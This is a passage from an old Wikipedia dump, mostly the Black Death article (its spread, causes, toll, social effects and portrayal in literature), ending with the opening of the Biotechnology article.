The plague struck various countries in the Middle East during the pandemic, leading to serious depopulation and permanent change in both economic and social structures. The disease first entered the region from southern Russia.  In AD 1347, Muslim leader Malik Asraf, of the Jalayird dynasty, returned with his troops to [[Baghdad]] from a military action in Tabriz (near modern [[Azerbaijan]]) where the plague was raging. This same military troop promptly placed the town of Hasan Buzurg, near Baghdad, under siege but had to abort when plague struck the army and spread to Baghdad itself.

By autumn 1347, the plague reached [[Alexandria]] in [[Egypt]], probably through the port's trade with [[Constantinople]] and ports on the [[Black Sea]]. During 1348, the disease traveled eastward to [[Gaza]], and north along the eastern coast to cities in [[Syria]] and [[Palestine (region)|Palestine]], including [[Asqalan]], [[Acre]], [[Jerusalem]], [[Sidon]], [[Damascus]], [[Homs]], and [[Aleppo]].  In 1348&amp;ndash;49, the disease reached [[Antioch]]. The city's residents fled to the north, most of them dying during the journey, but the infection had been spread to the people of Asia Minor.

[[Mecca]] became infected in 1349. The people of Mecca blamed the disease on non-believers entering the city, but it is more likely to have arrived with Muslim pilgrims from surrounding infected areas. During the same year, records show the city of [[Mawsil]] (Mosul) suffered a massive epidemic, and the city of Baghdad experienced a second round of the disease. In 1351, Yemen experienced an outbreak of the plague. This coincided with the return of King Mujahid of [[Yemen]] from imprisonment in [[Cairo]]. His party may have brought the disease with them from Egypt.

===Recurrence===
The plague repeatedly returned to haunt Europe and the Mediterranean throughout the 14th to 17th centuries, and although the bubonic plague still exists with isolated cases today, the [[Great Plague of London]] in [[1665]]-[[1666]] is generally recognized as one of the last major outbreaks.  The [[Great Fire of London]] in [[1666]], may have killed off any remaining plague bearing rats and fleas, which led to a decline in the plague. The destruction of rats in the Great Fire may also have contributed to the ascendancy of brown rats in England. According to the bubonic plague theory, one possible explanation for the disappearance of plague from Europe may be that the [[black rat]] (''Rattus rattus'') [[infection]] reservoir and its disease vector was subsequently displaced and succeeded by the bigger [[Norway rat|Norwegian, or brown, rat]] (''Rattus norvegicus''), which is not as prone to transmit the germ-bearing fleas to humans in large rat die-offs (see Appleby and Slack references below).

Late outbreaks in central Europe include the [[Italian Plague of 1629-1631]], which is associated with troop movements during the [[Thirty Years' War]], and the [[Great Plague of Vienna]] in 1679, which may have been due to a reintroduction of the plague from eastern trading ports.

==Causes==
===Bubonic plague theory===
[[Image:Yersinia_pestis_fluorescent.jpeg|thumb|right|''[[Yersinia pestis]]'' seen at 2000x magnification. This bacterium, carried and spread by fleas, is generally thought to have been the cause of millions of deaths.]]

bubonic and septicemic plague are transmitted by direct contact with fleas. The bacteria multiplies inside a flea, blocking its stomach and causing it to become very hungry. The flea then voraciously bites a host and continues to feed because it is unable to satisfy its hunger. During the feeding process, infected blood carrying the plague bacteria flows into the wound. The plague bacteria then has a new host, and the flea eventually dies from starvation.

The human pneumonic plague has a different form of transmission. It is transmitted through bacteria in droplets of saliva coughed up by persons with bloodstream infection (sepsis) or pneumonia, which may have started as the bubonic form of disease. The airborne bacteria may be inhaled by a nearby susceptible person, and a new infection starts directly in the lungs or throat of the other, bypassing the bubonic form of disease.

====Signs and symptoms====
The three forms of plague brought an array of signs and symptoms to those infected. Bubonic plague refers to the painful lymph node swellings called buboes. The septicemic plague is called &quot;Blood poisoning&quot;, and pneumonic plague is an airborne plague that forms a first attack on the lungs. The classic sign of bubonic plague was the appearance of buboes in the groin and armpits, which ooze pus and blood. Victims underwent damage to the skin and underlying tissue until they were covered in dark blotches. This symptom, called acral necrosis, led to the disease being called the &quot;Black&quot; plague. Most victims died within four to seven days after infection. When plague reached Europe, it first struck port cities and then followed the trade routes, both by sea and land.

The [[bubonic plague]] was the most commonly seen form of the Black Death, with a mortality rate of thirty to seventy-five percent and symptoms including [[fever]] of 38 to 41 °[[Celsius|C]] (101-105 [[Fahrenheit|°F]]), [[headache]]s, aching joints, [[nausea]] and [[vomiting]], and a general feeling of malaise. The [[pneumonic plague]] was the second most commonly seen form of the Black Death, with a mortality rate of ninety to ninety-five percent. Symptoms included slimy [[sputum]] tinted with blood. As the disease progressed, sputum became free flowing and bright red. Septicemic plague was the most rare of the three forms, with mortality close to 100 percent. Symptoms were high fevers and skin turning deep shades of purple due to DIC ([[Disseminated intravascular coagulation]]).

===Alternative explanations===
An interesting hypothesis about the appearance, spread and especially disappearance of plague from Europe is that the flea-bearing rodent reservoir of disease was eventually succeeded by another species. The [[black rat]] (''Rattus rattus'') was originally introduced from Asia to Europe by trade, but was subsequently displaced and succeeded throughout Europe by the bigger Norwegian or [[brown rat]] (''Rattus norvegicus''). The brown rat was not as prone to transmit the germ-bearing fleas to humans in large die-offs due to a different rat ecology (see Appleby and Slack, secondary references below). The dynamic complexities of rat ecology, [[herd immunity]] in that reservoir, interaction with human ecology, secondary transmission routes between humans with or without fleas, human herd immunity and changes in each might explain the eruption, dissemination, and re-eruptions of plague that continued for centuries until its (even more) unexplained disappearance.

However, recent scientific and historical investigations have led researchers to doubt the long-held belief that the Black Death was an epidemic of [[Bubonic plague|bubonic plague]]. For example, in 2000, Gunnar Karlsson (''Iceland's 1100 Years: The History of a Marginal Society'') pointed out that the Black Death killed between half and two-thirds of the population of [[Iceland]], although there were no rats in Iceland at this time. Rats were accidentally introduced in the 19th century, and have never spread beyond a small number of urban areas attached to seaports. In the 14th century there were no urban settlements in Iceland. Iceland was unaffected by the later plagues which are known to have been spread by rats.

In 1984, [[Graham Twigg]] published ''The Black Death: A Biological Reappraisal'', where he argued that the climate and ecology of Europe and particularly England made it nearly impossible for rats and fleas to have transmitted bubonic plague. Combining information on the biology of ''R. rattus'', ''R. norvegicus'', and the common fleas ''[[X. cheopis]]'' and ''[[P. irritans]]'' with modern studies of plague epidemiology, particularly in India, where the ''R. rattus'' is a native species and conditions are nearly ideal for plague to be spread, Twigg concludes that it would have been nearly impossible for ''[[Yersinia pestis|Y. pestis]]'' to have been the causative agent of the beginning of the plague, let alone its explosive spread across all of Europe and England. Twigg also shows that the common theory of entirely pneumonic spread does not hold up. He proposes, based on a reexamination of the evidence and symptoms, that the Black Death may actually have been an epidemic of pulmonary [[anthrax]] caused by ''[[Bacillus anthracis]]''. 

In [[2001]], [[epidemiology|epidemiologists]] [[Susan Scott]] and [[Christopher Duncan]] from [[Liverpool University]] proposed the theory that the Black Death might have been caused by an [[Ebola virus|Ebola]]-like [[virus (biology)|virus]], not a bacterium. Their rationale was that this plague spread much faster and the incubation period was much longer than other confirmed ''[[Yersinia pestis]]'' plagues. A longer period of incubation will allow carriers of the infection to travel farther and infect more people than a shorter one. When the primary [[vector (biology)|vector]] is humans, as opposed to birds, this is of great importance. Studies of English church records indicate an unusually long incubation period in excess of 30 days, which could account for the rapid spread, topping at 5 km/day. The plague also appeared in areas of Europe where rats were uncommon like [[Iceland]]. Epidemiological studies suggest the disease was transferred between humans (which happens rarely with ''Yersinia pestis'' and very rarely for ''Bacillus anthracis''), and some [[gene]]s that determine immunity to Ebola-like viruses are much more widespread in [[Europe]] than in other parts of the world. Their research and findings are thoroughly documented in ''Return of the Black Death: The World's Greatest Serial Killer.''

In a similar vein, historian [[Norman F. Cantor]], in his [[2001]] book ''In the Wake of the Plague'', suggests the Black Death might have been a combination of pandemics including a form of [[anthrax disease|anthrax]], a cattle [[murrain]]. He cites many forms of evidence including: reported disease symptoms not in keeping with the known effects of either bubonic or [[pneumonic plague]], the discovery of anthrax spores in a [[plague pit]] in [[Scotland]], and the fact that meat from infected cattle was known to have been sold in many rural English areas prior to the onset of the plague. It is notable that the means of infection varied widely, from human-to-human contact as in Iceland (rare for plague and cutaneous ''Bacillus anthracis'') to infection in the absence of living or recently-dead humans, as in Sicily (which speaks against most viruses). Also, diseases with similar symptoms were generally not distinguished between in that period (see ''murrain'' above), at least not in the Christian world; Chinese and Muslim medical records can be expected to yield better information which however only pertains to the specific disease(s) which affected these areas. ''See ISBN 0060014342''

====Counterarguments====
There is still a thriving majority of historians that support the bubonic plague as cause, and so counterarguments have been drawn in defense of the bubonic plague theory.

The uncharacteristically rapid spread of the plague could be due to low levels of immunity in that period's European population. Historical examples of pandemics of other diseases in populations without previous exposure, such as [[smallpox]] and [[tuberculosis]] amongst [[Indigenous peoples of the Americas|American Indians]], show that the low levels of inherited adaptation to the disease cause the first epidemic to spread faster and to be far more virulent than later epidemics among the descendants of survivors. Also, the plague returned again and again and was regarded as the same disease through succeeding centuries into modern times when the ''Yersinia'' bacterium was identified.

In addition, it was previously argued that tooth pulp tissue from a 14th-century plague [[cemetery]] in [[Montpellier]] tested positive for molecules associated with Y. Pestis. However, such a finding was never confirmed in any other cemetery, nor were any DNA samples recovered. In September [[2003]], a team of researchers from [[University of Oxford|Oxford University]] tested 121 teeth from 66 skeletons found in 14th-century mass graves. The remains showed no genetic trace of ''Yersinia pestis'', and the researchers suspect that the Montpellier study was flawed.

==Consequences==
===Depopulation===
''See also: [[Medieval demography]].''

Information about the [[death toll]] varies widely by area and from source to source. Approximately 25 million deaths occurred in Europe alone, with many others occurring in northern [[Africa]], the Middle East and [[Asia]].

Estimates of the demographic impact of plague in Asia are based on both population figures during this time and estimates of the disease's toll on population centers. The initial outbreak of plague in the [[China|Chinese]] [[province]] of [[Hubei]] in 1334 claimed up to 90 percent of the population, an estimated five million people. During 1353&amp;ndash;54, outbreaks in eight distinct areas throughout the [[Mongol Empire|Mongol/Chinese empires]] may have caused the death of two-thirds of China's population, often yielding an estimate of 25 million deaths.

It is estimated that between one-third and one-half of the European population died from the outbreak between 1348 and 1350. As many as 25% of all villages were depopulated, mostly the smaller communities, as the few survivors fled to larger towns and cities. The Black Death hit the [[culture]] of towns and cities disproportionately hard. Some rural areas, for example, [[Poland|Eastern Poland]] and [[Lithuania]], had such low populations and were so isolated that the plague made little progress. Larger cities were the worst off, as population densities and close living quarters made disease transmission easier. Cities were also strikingly filthy, infested with lice, fleas and rats, and subject to diseases related to malnutrition and poor hygiene. According to historian John Kelly, ''&quot;(w)oefully inadequate sanitation made medieval urban Europe so disease-ridden, no city of any size could maintain its population without a constant influx of immigrants from the countryside''.&quot; (p. 68) The influx of new citizens facilitated the movement of the plague between communities, and contributed to the longevity of the plague within larger communities.

The precise demographic impact of the disease in the [[Middle East]] is impossible to calculate. Mortality was particularly high in rural areas, including significant areas of Palestine and [[Syria]]. Many surviving rural people fled, leaving their fields and crops, and entire rural provinces are recorded as being totally depopulated. Surviving records in some cities reveal a devastating number of deaths. The 1348 outbreak in [[Gaza]] left an estimated 10,000 people dead, while [[Aleppo]] recorded a death rate of 500 a day during the same year. In [[Damascus]], at the disease's peak in September and October 1348, a thousand deaths were recorded every day, with overall mortality estimated at between 25 and 38 percent. Syria lost a total of 400,000 people by the time the epidemic subsided in March 1349. In contrast to some higher mortality estimates in Asia and Europe, scholars believe the mortality rate in the Middle East was less than one-third of the total population, with higher rates in selected areas.

===Socio-economic effects===
The [[government]]s of Europe had no apparent response to the crisis because no one knew its cause or how it spread. Most [[monarchs]] instituted measures that prohibited exports of foodstuffs, condemned [[black market]] [[speculators]], set [[price controls]] on grain, and outlawed large-scale fishing. At best, they proved mostly unenforceable, and at worse they contributed to a continent-wide downward spiral. The hardest hit lands, like England, were unable to buy grain abroad, from France because of the prohibition, and from most of the rest of the grain producers because of crop failures from shortage of labor. Any grain that could be shipped was eventually taken by [[pirates]] or [[looters]] to be sold on the black market. Meanwhile, many of the largest countries, most notably England and [[Scotland]], had been at war, using up much of their [[treasury]] and exacerbating [[inflation]]. In [[1337]], on the eve of the first wave of the Black Death, England and France went to war in what would become known as the [[Hundred Years' War]]. This, another of the crises of the fourteenth century, would deplete the treasuries, [[manpower]], and [[infrastructure]] of both [[monarchy|kingdoms]] throughout and beyond the worst of the plague. Malnutrition, poverty, disease and hunger, coupled with war, growing inflation and other economic concerns made Europe in the mid-fourteenth century ripe for tragedy.

The plague did more than just devastate the medieval population; it caused a substantial change in economy and society in all areas of the world. Economic historians like [[Fernand Braudel]] have concluded that Black Death began during a [[recession]] in the European economy that had been under way since the beginning of the century, and only served to worsen it. As a consequence, it greatly accelerated social and economic change during the 14th and 15th centuries. First, the church's power was weakened, and in some cases, the social roles it had played were replaced by secular ones. It also led to [[Popular revolt in late medieval Europe|peasant uprisings]] in many parts of Europe, such as France (the [[Jacquerie rebellion]]), Italy (the [[Ciompi rebellion]], which swept the city of [[Florence]]), and in England (the [[English Peasant Revolt]]).

The Black Death should have opened the way to increased peasant prosperity. Europe had been overpopulated before the plague, and a reduction of 30% to 50% of the population should have meant less competition for resources: more available land and food, and higher wages. However, for reasons that are still debated, population levels in fact continued to decline until around 1420 and did not begin to rise again until 1470, so the initial Black Death event on its own does not entirely provide a satisfactory explanation to this extended period of decline in prosperity. See [[Medieval demography]] for a more complete treatment of this issue and current theories on why improvements in living standards took longer to evolve.

The great population loss brought economic changes based on increased social mobility, as depopulation further eroded the peasants' already weakened obligations to remain on their traditional holdings. In Western Europe, the sudden scarcity of cheap labor provided an incentive for landlords to compete for peasants with wages and freedoms, an innovation that, some argue, represents the roots of [[capitalism]], and the resulting social upheaval ''caused'' the [[Renaissance]] and even [[Reformation]]. In many ways the Black Death improved the situation of surviving peasants. In Western Europe, because of the shortage of labor they were in more demand and had more power, and because of the reduced population, there was more fertile land available; however, the benefits would not be fully realized until 1470, nearly 120 years later, when overall population levels finally began to rise again.

In [[Eastern Europe]], by contrast, renewed stringency of laws tied the remaining peasant population more tightly to the land than ever before through [[serfdom]]. Sparsely populated Eastern Europe was less affected by the Black Death and so peasant revolts were less common in the 14th and 15th centuries, not occurring in the east until the 16th through 19th centuries. Since it is believed to have in part caused the social upheavals of 14th- and 15th-century Western Europe, some see the Black Death as a factor in the Renaissance and even the Reformation in Western Europe. Therefore, historians have cited the smaller impact of the plague as a contributing factor in Eastern Europe's ''failure'' to experience either of these movements on a similar scale. Extrapolating from this, the Black Death may be seen as partly responsible for Eastern Europe's considerable lag in scientific and philosophical advances as well as in the move to liberalise government by restricting the power of the monarch and aristocracy. A common example is that England is seen to have effectively ended [[serfdom]] by [[1550]] while moving towards more [[representative government]]; meanwhile, [[Russia]] did not abolish serfdom until an autocratic [[tsar]] decreed so in 1861.

On top of all this, the plague's great population reduction brought cheaper land prices, more food for the average peasant, and a relatively large increase in per capita income among the peasantry, if not immediately, in the coming century. However, the upper class often attempted to stop these changes, initially in Western Europe, and more forcefully and successfully in Eastern Europe, by instituting laws which barred the peasantry from certain actions or material goods. A good example of this is the [[sumptuary]] laws which were passed throughout Europe which regulated what people (particularly of the peasant class) could wear, so that nobles could ensure that peasants did not begin to dress and act as a higher class member with their increased wealth. Another tactic was to fix prices and wages so that peasants could not demand more with increasing value. This was met with varying success depending on the amount of rebellion it inspired; such a law was one of the causes of [[England]]'s [[1381]] [[Peasants' Revolt]].

===Persecutions===
As with other natural and man-made social disasters, renewed religious fervor and fanaticism bloomed in the wake of Black Death. In many parts of Europe, rumors circulated that Jews caused the plague by deliberately poisoning wells.  Typically, comparatively fewer Jews died from the Black Death, in part due to [[Kashrut|rabbinical laws]] that called for a lifestyle that was, in general, cleaner than that of a typical medieval villager, and because of isolation in Jewish ghettos; this raised the suspicion of people unable to explain the plague through scientific reasoning.

Fierce [[pogrom]]s frequently resulted in the death or banishment of most of the Jews in a town or city. By 1351, 60 major and 150 smaller Jewish communities had been exterminated, and more than 350 separate massacres had occurred.  This persecution was often not merely out of religious hatred, but also as a way of attacking the Kings or Church who protected the Jews (Jews were often called the King's property) as a way of lashing out at the institutions that had failed them. 

An important legacy of the Black Death was to cause the eastward movement of what was left of north European Jewry to Poland and Russia, where it remained until the 20th century.

[[Leprosy|Leper]]s were also singled out and persecuted, indeed exterminated throughout Europe. Anyone with a skin disease such as [[acne]] or [[psoriasis]] was thought to be a leper, and leprosy was believed to be an outward sign of an inner defect of the soul. Both Jews and lepers were persecuted because they became [[scapegoat]]s for the disasters of society. &lt;ref&gt;R.I. Moore, ''The Formation of a Persecuting Society'', Oxford, 1987 ISBN 0631171452&lt;/ref&gt;&lt;ref&gt;David Nirenberg, ''Communities of Violence'', 1998, ISBN 069105889X&lt;/ref&gt;

===Religion===
[[Image:Flagellants.png|thumb|right|Flagellants practiced self-flogging to atone for sins. The movement became popular after general disillusionment with the church's reaction to the Black Death.]]

The Black Death led to cynicism toward religious officials who could not keep their frequent promises of curing plague victims and banishing the disease. No one, the Church included, was able to cure or even explain the plague. In fact, most thought it spread somehow through air, calling it ''[[Miasma theory of disease|miasma]]''. This increased doubting of the [[clergy]]. [[Pope]] [[Clement VI]] reigned during the plague years in Europe during a time when the papacy was based in [[Avignon]], [[France]]. This period in papal history, known as the [[Avignon Papacy|Babylonian Captivity]] to its detractors, was a concurrent cause of the people's lack of faith in the Christian Church. The Avignon popes were seen as having subordinated themselves to the French monarchy, and their ineffectiveness regarding the Black Death only compounded the common man's disillusionment. Extreme alienation with the church culminated in either support for different religious groups such as the [[flagellant]]s, which grew tremendously during the opening years of the Black Death (angering church and political officials greatly), or to an increase in interest for more secular alternatives to problems facing European society and an increase of secular politicians.

The Black Death hit the monasteries very hard because of their close quarters and their kindness in helping the sick, so that there was a severe shortage of clergy after the epidemic cycle. This resulted in a mass influx of new clergy members, most of whom did not share the life-long convictions and experiences of the veterans they replaced. This resulted in abuses by the clergy in years afterwards and a further deterioration of the position of the Church in the eyes of the people. 25 million people died from the plague.

===Other effects===
[[Image:Holbein-death.png|thumb|right|Inspired by Black Death, ''[[Danse Macabre]]'' is an allegory on the universality of death and a common painting motive in late-medieval periods.]]

After 1350 [[Culture of Europe|European culture]] in general turned very morbid. The general mood was one of pessimism, and the art turned dark with representations of death. The ''[[Dies Irae]]'' was created in this period as was the popular poem ''[[La Danse Macabre]]'' and the instructive and popular ''[[Ars moriendi]]'' (&quot;the art of dying&quot;). See also ''[[The Decameron]]''.

The science of [[alchemy]] was affected by the plague. As a specialty and method of treatment, it was considered the norm for most scientists and doctors prior and during the Black Death. However, after the plague had taken its toll, the practice of alchemy slowly began to wane. The citizenry began to realize that, in most cases, it did not affect the progress of the epidemic and that some of the potions and &quot;cures&quot; used by many doctors throughout Christendom and the Islamic world only helped to worsen the condition of the sick. [[Liquor]] (distilled alcohol), originally made by alchemists, was commonly applied as a remedy for the Black Death, and as a result the popularity and consumption of liquor in Europe rose dramatically after the plague.

In 2006 a scientific study by Dr Thomas van Hoof ([[Utrecht University]]) suggests the Black Death contributed to the [[Little Ice Age]]. Pollen and leaf data, collected from lake-bed sediments in the southeast Netherlands, supports the idea that millions of trees sprang up on abandoned farmland soaking up carbon dioxide from the atmosphere and thus cooling the planet. The line of research is new and there are questions and further research is needed, but it does pose an interesting theory that man-caused climate change is older than current theories. [http://news.bbc.co.uk/2/hi/science/nature/4755328.stm]

==Black Death in literature==
===Contemporary===
The specter of the Black Death dominated art and literature thoughout the generation that experienced it. Much of the most useful manifestations of the Black Death in literature, to historians, comes from the accounts of its chroniclers, often the only real way to get a sense of the horror of living through a disaster on such a scale. A few were famous writers, philosophers and rulers (like [[Boccaccio]] and [[Petrarch]]), but most were quite ordinary people who happened to work in a job requiring literacy, a rare talent. For example, [[Agnolo di Tura]] the Fat, of [[Siena]], records his experience:
&lt;blockquote&gt;Father abandoned child, wife husband, one brother another; for this illness seemed to strike through the breath and sight. And so they died. And none could be found to bury the dead for money or friendship. Members of a household brought their dead to a ditch as best they could, without priest, without divine offices ... great pits were dug and piled deep with the multitude of dead. And they died by the hundreds both day and night... And as soon as those ditches were filled more were dug ... And I, Agnolo di Tura, called the Fat, buried my five children with my own hands. And there were also those who were so sparsely covered with earth that the dogs dragged them forth and devoured many bodies throughout the city. There was no one who wept for any death, for all awaited death. And so many died that all believed it was the end of the world. This situation continued [from May] until September.&lt;/blockquote&gt;

The scene Di Tura describes is repeated over and over again all across Europe.  In [[Sicily]], [[Gabriele de'Mussi]], a [[Notary public|notary]], tells of the early spread from the [[Crimea]]:
&lt;blockquote&gt;Alas! our ships enter the port, but of a thousand sailors hardly ten are spared. We reach our homes; our kindred…come from all parts to visit us. Woe to us for we cast at them the darts of death! …Going back to their homes, they in turn soon infected their whole families, who in three days succumbed, and were buried in one common grave. Priests and doctors visiting…from their duties ill, and soon were…dead. O death! cruel, bitter, impious death! …Lamenting our misery, we feared to fly, yet we dared not remain.&lt;/blockquote&gt;

[[Henry Knighton]] tells of the plague’s coming to England:
&lt;blockquote&gt;Then the grievous plague came to the seacoasts from Southampton, and came to Bristol, and it was as if all the strength of the town had died, as if they had been hit with sudden death, for there were few who stayed in their beds more than three days, or two days, or even one half a day.&lt;/blockquote&gt;

In addition to these personal accounts, many presentations of the Black Death have entered the general consciousness as great [[literature]]. For example, the major works of Boccaccio (''The Decameron''), Petrarch, [[Geoffrey Chaucer]] (''[[The Canterbury Tales]]''), and [[William Langland]] (''[[Piers Plowman]]''), which all discuss the Black Death, are generally recognized as some of the best works of their era.

''La Danse Macabre'', or the ''Dance of death'', is an [[allegory]] on the universality of [[death]], expressing the common wisdom of the time: that no matter one's station in life, the dance of death united all. It consists of the [[personification|personified]] Death leading a row of dancing figures from all walks of life to the [[grave]] &amp;mdash; typically with an [[emperor]], [[monarch|king]], [[pope]], [[monk]], youngster, beautiful girl, all in [[skeleton]]-state. They were produced under the impact of the Black Death, reminding people of how fragile their lives were and how vain the glories of [[personal life|earthly life]]. The earliest artistic example is from the [[fresco]]ed cemetery of the [[Church of the Holy Innocents]] in Paris (1424). There are also works by [[Konrad Witz]] in [[Basel]] (1440), [[Bernt Notke]] in [[Lübeck]] (1463) and woodcuts by [[Hans Holbein the Younger]] (1538). [[Israil Bercovici]] claims that the ''Danse Macabre'' originated among [[Sephardic Jew]]s in 14th century [[Spain]] (Bercovici, 1992, p. 27).

Additionally see Aleksander Pushkin's verse play, &quot;Feast in the Time of the Plague.&quot;

=== Modern ===
Because of its resounding recurrence throughout modern history, and its [[symbolism]] and connotation, the subject of or [[setting]] during the Black Death has also become commonplace in modern literature. The relatively new medium of [[film]] has given [[writer]]s and [[film producer|producer]]s an innovative venue to portray the plague with more realism than ever. The movie classic ''Det sjunde inseglet'' (''[[The Seventh Seal]]'') is a [[1957]] [[film]] directed by [[Ingmar Bergman]], most notable for the scene in which a medieval [[knight]] (played by [[Max von Sydow]]) plays [[chess]] with the [[personification]] of [[Death (personification)|Death]], with his life resting on the outcome of the game. The knight returns from the [[Crusade|Crusades]] and finds that his home country is ravaged by Black Death. To his dismay, he discovers that Death ([[Bengt Ekerot]]) has come for him too. In order to buy time he challenges Death to a match of chess, which allows him to reach his home and be reunited with his wife. The film explores the purpose of life and loss of faith, as the protagonist questions God's existence. The final scene of ''The Seventh Seal'' depicts a kind of ''Danse Macabre''.

The [[1988]] [[science fiction]] film ''[[The Navigator: A Mediaeval Odyssey]]'' portrayed a group of [[14th-century]] [[England|English]] [[village]]rs who dig a tunnel to [[20th-century]] [[New Zealand]], with the aid of a boy's vision, to escape the Black Death. [[Connie Willis]]'s [[Hugo award]]-winning science fiction [[novel]] ''[[Doomsday Book (novel)|Doomsday Book]]'' ([[1993 in literature|1993]], ISBN 0553351672) imagines a future in which historians do field work by traveling into the past as observers. The protagonist, a historian, is sent to the wrong year, arriving in England just as the Black Death is starting. Likewise, [[Kim Stanley Robinson]]'s [[Alternate history (fiction)|alternate history]] novel [[The Years of Rice and Salt]] ([[2002]], ISBN 0553580078) presents a future dramatically changed by the Black Death, in which Christian Europe was almost completely destroyed and played no major role in future history.

It has been alleged (since [[1961]]) that the Black Death inspired one of the most enduring [[nursery rhyme]]s in the English language, ''[[Ring around a rosie]], a pocket full of posies, / Ashes, ashes, we all fall down.'' However, this explanation is a literary interpretation [http://www.snopes.com/language/literary/rosie.htm] without historical supporting evidence.

A Swedish captain named Johan Strandberg in Norrtälje in Stockholm's skerries is the last known victim of this disease with deadly outcome [year unknown].

==Selected sources and further reading==
===References===
&lt;references/&gt;

===Primary sources===
* [[Giovanni Boccaccio]] (''[[The Decameron]]'')
* [[Petrarch]]

====Primary sources online====
*[http://www.themediadrome.com/content/articles/blackdeath.htm Henry Knighton's account]
*[http://housatonic.net/Documents/627.htm Agnolo di Tura's account] &lt;!--I can't seem to find the full text online!--&gt;
*[http://www.brown.edu/Departments/Italian_Studies/dweb/plague/perspectives/de_mussi.shtml Gabriele de' Mussi's account]
*[http://www.brown.edu/Departments/Italian_Studies/dweb/plague/perspectives/marchionne.shtml Marchionne di Coppo di Stefano Buonaiuti's account]
*[http://www.brown.edu/Departments/Italian_Studies/dweb/plague/perspectives/petrarca2.shtml A Petrarch account] and [http://www.brown.edu/Departments/Italian_Studies/dweb/plague/perspectives/petrarca.shtml More quotes from Petrarch]

=== Secondary sources ===
* Appleby, Andrew B. “The Disappearance of the Plague: A Continuing Puzzle.” Economic History Review 33, 2, 1980 161-173.
* Deaux, George (1969). ''The Black Death 1347''. New York: Weybright and Talley. ISBN 0241015146.
* Derr, Mark. &quot;New Theories Link Black Death to Ebola-Like Virus&quot; ''The [[New York Times]]'', Science Section, October 2 2001.
*  Dols, Michael W. (1977). ''The Black Death in the Middle East'' Princeton University Press, Princeton, New Jersey. ISBN 069103107X.
* Gottfried, Robert S (1983). ''The Black Death''. New York: The Free Press.  ISBN 0029123704.
* Herlihy, David (1997). ''The Black Death and the Transformation of the West''. Cambridge: Harvard UP. ISBN 0674076133. This text is a definitive short text on the Black Death.
* Kelly, John (2005). ''The Great Mortality, An Intimate History of the Black Death, the Most Devastating Plague of All Time''. HarperCollins Publisher Inc., New York, NY. ISBN 0060006927
* Marks, Geoffrey (1971). ''The Medieval Plague: The Black Death of the Middle Ages'' New York; Doubleday. ISBN 0385006306.
* McNeill, William H. (1976). ''Plagues and People''. New York: Anchor Books. ISBN 0385121229.
*Scott, Susan and Duncan, Christopher. (2004). ''Return of the Black Death: The World's Greatest Serial Killer'' West Sussex; John Wiley and Sons. ISBN 04700900006
* Slack, Paul. “The Disappearance of the Plague: An Alternative View.” Economic History Review 34, 3. 1981 469-476.
* Ziegler, Phillip (1969). ''Black Death''. ISBN 0061315508

====Secondary sources online====
* [http://www.historyguide.org/ancient/lecture29b.html ''The History Guide'' &quot;Satan Triumphant: The Black Death&quot;]
* [http://www.emedicine.com/EMERG/topic428.htm Symptoms, causes, pictures of bubonic plague]
* [http://www.themiddleages.net/plague.html Overview of the black death]
* [http://news.bbc.co.uk/hi/english/health/newsid_1925000/1925513.stm BBC news story on controversy over Black Death origins]
* [http://www.snopes.com/language/literary/rosie.htm Examination of &quot;Ring around the Rosy&quot;'s relationship to the plague]
* [http://www.bbc.co.uk/history/society_culture/welfare/black_01.shtml Black Death Overview from BBC]
* [http://jefferson.village.virginia.edu/osheim/intro.html Plague and Public Health in Renaissance Europe]. Primary source documents and analysis.
* [http://www.pbs.org/wnet/secrets/case_plague/ Secrets of the Dead . Mystery of the Black Death] [[PBS]]

===Related events===
* [[Great Famine of 1315-1317]]
* [[Great Plague of London]]
* [[Hundred Years' War]]
* [[Plague of Justinian]]
* [[Popular revolt in late medieval Europe]]
* [[Plague Riot]]
* [[Third Pandemic]]
* [[Abandoned village]]
* [[Little Ice Age]]
* [[Avignon papacy]]
* [[Peasants' Revolt]]
* [[List of Bubonic plague outbreaks]]

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[[Category:Euroasian history]]
[[Category:History of Asia]]
[[Category:History of Europe]]
[[Category:History of the Middle East]]
[[Category:Middle Ages]]
[[Category:Pandemics]]

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    </revision>
  </page>
  <page>
    <title>Biotechnology</title>
    <id>4502</id>
    <revision>
      <id>41778734</id>
      <timestamp>2006-03-01T18:09:24Z</timestamp>
      <contributor>
        <username>Llull</username>
        <id>9973</id>
      </contributor>
      <comment>/* Biotechnology timeline */ 8000 BC Roman people? I think that no...</comment>
      <text xml:space="preserve">'''Biotechnology''' is a [[technology]] based on [[biology]], especially when used in [[agriculture]], [[food science]], and [[medicine]].

Of the many different definitions available, the one formulated by the [[UN]] [[Convention on Biological Diversity]] is one of the broadest:

:&quot;Biotechnology means any technological application that uses biological systems, living organisms, or derivatives thereof, to make or modify products or processes for specific use.&quot; (Article 2. Use of Terms)

Or another definition can be: Biotechnology is the manipulation of organisms to do practical things and to provide useful products. 

One section of biotechnology is the directed use of [[organisms]] for the manufacture of organic products (examples include [[beer]], [[milk]] products, and [[skin]]). Naturally present [[bacterium|bacteria]] are utilized by the mining industry in [[bioleaching]]. Biotechnology is also used to recycle, treat waste, clean up sites contaminated by industrial activities ([[bioremediation]]), and produce [[biological warfare|biological weapons]].

There are also applications of biotechnology that do not use living [[organisms]]. Examples are [[DNA microarray]]s used in genetics and [[radioactive]] tracers used in medicine.

Modern biotechnology is often associated with the use of genetically altered [[microorganism]]s such as ''[[E. coli]]'' or [[yeast]] for the production of substances like [[insulin]] or [[antibiotics]]. It can also refer to [[transgenic animals]] or [[transgenic plants]], such as Bt corn. Genetically altered mammalian cells, such as [[Chinese Hamster]] Ovarian (CHO) cells, are also widely used to manufacture pharmaceuticals. Another promising new biotechnology application is the development of [[plant-made pharmaceuticals]].

Biotechnology is also commonly associated with breakthroughs in new medical therapies and diagnostic devices.

==Sub-fields of biotechnology==

There are a number of jargon terms for sub-fields of biotechnology. &lt;!-- there are many terms which are attributed to their field of study.i,e animal biotech, plant biotech, microbial biotechnology etc. &lt;- Ever tried grammar checker? --&gt;

'''Red biotechnology''' is biotechnology applied to [[medical]] processes.  Some examples are the designing of organisms to produce [[antibiotic]]s, and the engineering of genetic cures to cure diseases through [[genome|genomic manipulation]].

'''White biotechnology''', also known as '''grey biotechnology''', is biotechnology applied to [[Industry|industrial]] processes.  An example is the designing of an organism to produce a useful chemical. White biotechnology tends to consume less in resources than traditional processes when used to produce industrial goods.

